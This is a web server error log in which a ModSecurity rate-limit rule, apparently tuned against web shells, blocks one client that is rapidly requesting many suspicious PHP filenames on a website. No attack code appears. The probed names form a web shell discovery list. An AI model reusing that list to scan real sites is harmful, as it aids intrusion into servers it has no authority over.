[Tue Jan 13 21:37:49.841168 2026] [:error] [pid 22389:tid 22401] [client 4.241.185.221:48902] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aWZKrSLIB_8b411qalJZdQAAAUo"]
[Tue Jan 13 21:37:52.055023 2026] [:error] [pid 22426:tid 22462] [client 4.241.185.221:47901] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aWZKsNy1Q5toryYTHgO87wAAAMQ"]
[Tue Jan 13 21:37:55.034492 2026] [:error] [pid 22426:tid 22464] [client 4.241.185.221:14041] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aWZKs9y1Q5toryYTHgO88gAAAMY"]
[Tue Jan 13 21:38:55.045032 2026] [:error] [pid 48179:tid 48200] [client 4.241.185.221:44201] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aWZK79Qk65iAmQjH7ZSS_wAAAhM"]
[Tue Jan 13 21:38:56.456129 2026] [:error] [pid 22389:tid 22414] [client 4.241.185.221:43446] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aWZK8CLIB_8b411qalJZgwAAAVc"]
[Tue Jan 13 21:38:57.396455 2026] [:error] [pid 27597:tid 27599] [client 4.241.185.221:48480] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aWZK8T8Db8v8HoJ3n4AMpwAAAAA"]
[Tue Jan 13 21:38:58.666725 2026] [:error] [pid 27597:tid 27600] [client 4.241.185.221:14375] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aWZK8j8Db8v8HoJ3n4AMqQAAAAE"]
[Tue Jan 13 21:38:59.837960 2026] [:error] [pid 22485:tid 22498] [client 4.241.185.221:14442] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWZK8xzzbghmKib9ie_8lAAAAYs"]
[Tue Jan 13 21:39:01.321327 2026] [:error] [pid 22426:tid 22459] [client 4.241.185.221:48211] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWZK9dy1Q5toryYTHgO9PQAAAME"]
[Tue Jan 13 21:39:03.121636 2026] [:error] [pid 22485:tid 22496] [client 4.241.185.221:14187] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWZK9xzzbghmKib9ie_8lwAAAYk"]
[Tue Jan 13 21:39:04.183104 2026] [:error] [pid 48179:tid 48192] [client 4.241.185.221:42624] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWZK-NQk65iAmQjH7ZSTBAAAAgs"]
[Tue Jan 13 21:39:04.601921 2026] [:error] [pid 33727:tid 33750] [client 4.241.185.221:42649] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWZK-KHONsygso2w0OPxbQAAARU"]
[Tue Jan 13 21:39:05.211379 2026] [:error] [pid 33727:tid 33735] [client 4.241.185.221:14267] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWZK-aHONsygso2w0OPxbgAAAQY"]
[Tue Jan 13 21:39:06.422799 2026] [:error] [pid 22425:tid 22443] [client 4.241.185.221:14173] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWZK-nLEE_SEuOZ0WBT87gAAAIw"]
[Tue Jan 13 21:39:07.119687 2026] [:error] [pid 47987:tid 48001] [client 4.241.185.221:43419] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWZK-3pLPQ4HpxlnLJzPzAAAAcs"]
[Tue Jan 13 21:39:07.836452 2026] [:error] [pid 22425:tid 22439] [client 4.241.185.221:14180] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWZK-3LEE_SEuOZ0WBT87wAAAIg"]
[Tue Jan 13 21:39:08.803619 2026] [:error] [pid 22425:tid 22452] [client 4.241.185.221:13706] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWZK_HLEE_SEuOZ0WBT88QAAAJU"]
[Tue Jan 13 21:39:09.836488 2026] [:error] [pid 22425:tid 22454] [client 4.241.185.221:43430] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWZK_XLEE_SEuOZ0WBT89QAAAJc"]
[Tue Jan 13 21:39:11.597302 2026] [:error] [pid 33727:tid 33732] [client 4.241.185.221:43433] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWZK_6HONsygso2w0OPxdwAAAQM"]
[Tue Jan 13 21:39:12.325151 2026] [:error] [pid 22426:tid 22475] [client 4.241.185.221:42945] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aWZLANy1Q5toryYTHgO9RQAAANE"]
[Tue Jan 13 21:39:13.350715 2026] [:error] [pid 22485:tid 22506] [client 4.241.185.221:13737] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aWZLARzzbghmKib9ie_8nQAAAZM"]
[Tue Jan 13 21:39:14.900854 2026] [:error] [pid 49677:tid 49693] [client 4.241.185.221:49204] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aWZLAviKiDrYd_02VZow9AAAAEw"]
[Tue Jan 13 21:39:15.546985 2026] [:error] [pid 48179:tid 48196] [client 4.241.185.221:13638] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aWZLA9Qk65iAmQjH7ZSTDAAAAg8"]
[Tue Jan 13 21:39:16.575691 2026] [:error] [pid 27597:tid 27620] [client 4.241.185.221:46426] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aWZLBD8Db8v8HoJ3n4AMrAAAABU"]
[Tue Jan 13 21:39:17.080618 2026] [:error] [pid 47987:tid 48013] [client 4.241.185.221:43404] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aWZLBXpLPQ4HpxlnLJzP0wAAAdc"]
[Tue Jan 13 21:39:18.189225 2026] [:error] [pid 22426:tid 22463] [client 4.241.185.221:49211] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aWZLBty1Q5toryYTHgO9TAAAAMU"]
[Tue Jan 13 21:39:19.700762 2026] [:error] [pid 22426:tid 22464] [client 4.241.185.221:13653] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aWZLB9y1Q5toryYTHgO9TgAAAMY"]
[Tue Jan 13 21:39:22.202876 2026] [:error] [pid 22426:tid 22469] [client 4.241.185.221:46417] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aWZLCty1Q5toryYTHgO9UAAAAMs"]
[Tue Jan 13 21:39:22.628099 2026] [:error] [pid 22426:tid 22461] [client 4.241.185.221:46576] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aWZLCty1Q5toryYTHgO9UQAAAMM"]
[Tue Jan 13 21:39:23.764101 2026] [:error] [pid 48179:tid 48201] [client 4.241.185.221:48089] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aWZLC9Qk65iAmQjH7ZSTEAAAAhQ"]
[Tue Jan 13 21:39:27.108446 2026] [:error] [pid 48179:tid 48189] [client 4.241.185.221:49214] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aWZLD9Qk65iAmQjH7ZSTGAAAAgg"]
[Tue Jan 13 21:39:28.558315 2026] [:error] [pid 48179:tid 48197] [client 4.241.185.221:47536] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aWZLENQk65iAmQjH7ZSTGgAAAhA"]
[Tue Jan 13 21:39:29.870353 2026] [:error] [pid 22485:tid 22490] [client 4.241.185.221:13973] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aWZLERzzbghmKib9ie_8owAAAYM"]
[Tue Jan 13 21:39:32.203640 2026] [:error] [pid 33727:tid 33738] [client 4.241.185.221:47624] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aWZLFKHONsygso2w0OPxiAAAAQk"]
[Tue Jan 13 21:39:33.980060 2026] [:error] [pid 27597:tid 27622] [client 4.241.185.221:13562] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aWZLFT8Db8v8HoJ3n4AMswAAABc"]
[Tue Jan 13 21:39:34.562262 2026] [:error] [pid 27597:tid 27612] [client 4.241.185.221:46442] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aWZLFj8Db8v8HoJ3n4AMtgAAAA0"]
[Tue Jan 13 21:39:35.348208 2026] [:error] [pid 27597:tid 27611] [client 4.241.185.221:46412] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aWZLFz8Db8v8HoJ3n4AMtwAAAAw"]
[Tue Jan 13 21:39:36.955820 2026] [:error] [pid 47987:tid 47997] [client 4.241.185.221:50193] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aWZLGHpLPQ4HpxlnLJzP4QAAAcc"]
[Tue Jan 13 21:39:38.413442 2026] [:error] [pid 47987:tid 47996] [client 4.241.185.221:13955] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aWZLGnpLPQ4HpxlnLJzP4gAAAcY"]
[Tue Jan 13 21:39:38.870795 2026] [:error] [pid 22389:tid 22407] [client 4.241.185.221:50191] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWZLGiLIB_8b411qalJZjgAAAVA"]
[Tue Jan 13 21:39:39.908639 2026] [:error] [pid 22426:tid 22482] [client 4.241.185.221:14002] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWZLG9y1Q5toryYTHgO9VgAAANg"]
[Tue Jan 13 21:39:40.405021 2026] [:error] [pid 22426:tid 22472] [client 4.241.185.221:46537] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWZLHNy1Q5toryYTHgO9VwAAAM4"]
[Tue Jan 13 21:39:40.736300 2026] [:error] [pid 22426:tid 22459] [client 4.241.185.221:46077] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWZLHNy1Q5toryYTHgO9WQAAAME"]
[Tue Jan 13 21:39:41.940775 2026] [:error] [pid 22425:tid 22450] [client 4.241.185.221:50194] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aWZLHXLEE_SEuOZ0WBT9FQAAAJM"]
[Tue Jan 13 21:39:42.936147 2026] [:error] [pid 22426:tid 22470] [client 4.241.185.221:49153] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aWZLHty1Q5toryYTHgO9WwAAAMw"]
[Tue Jan 13 21:39:43.693863 2026] [:error] [pid 48179:tid 48201] [client 4.241.185.221:46589] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aWZLH9Qk65iAmQjH7ZSTIwAAAhQ"]
[Tue Jan 13 21:39:45.534917 2026] [:error] [pid 22425:tid 22435] [client 4.241.185.221:45266] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aWZLIXLEE_SEuOZ0WBT9GAAAAIQ"]
[Tue Jan 13 21:39:46.358800 2026] [:error] [pid 22425:tid 22439] [client 4.241.185.221:13504] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aWZLInLEE_SEuOZ0WBT9GQAAAIg"]
[Tue Jan 13 21:39:47.754534 2026] [:error] [pid 49677:tid 49684] [client 4.241.185.221:48109] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aWZLI_iKiDrYd_02VZoxAQAAAEM"]
[Tue Jan 13 21:39:49.158404 2026] [:error] [pid 22389:tid 22398] [client 4.241.185.221:47618] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aWZLJSLIB_8b411qalJZkAAAAUc"]
[Tue Jan 13 21:39:50.055996 2026] [:error] [pid 22426:tid 22477] [client 4.241.185.221:13641] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aWZLJty1Q5toryYTHgO9YAAAANM"]
[Tue Jan 13 21:39:50.916371 2026] [:error] [pid 22426:tid 22467] [client 4.241.185.221:48119] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aWZLJty1Q5toryYTHgO9YQAAAMk"]
[Tue Jan 13 21:39:51.838718 2026] [:error] [pid 33727:tid 33729] [client 4.241.185.221:48120] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aWZLJ6HONsygso2w0OPxkQAAAQA"]
[Tue Jan 13 21:40:39.272342 2026] [:error] [pid 27597:tid 27603] [client 4.241.185.221:50206] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aWZLVz8Db8v8HoJ3n4AM_wAAAAQ"]
[Tue Jan 13 21:40:41.667478 2026] [:error] [pid 22426:tid 22465] [client 4.241.185.221:20489] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aWZLWdy1Q5toryYTHgO9fQAAAMc"]
[Tue Jan 13 21:40:43.314693 2026] [:error] [pid 22426:tid 22470] [client 4.241.185.221:50200] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aWZLW9y1Q5toryYTHgO9gAAAAMw"]
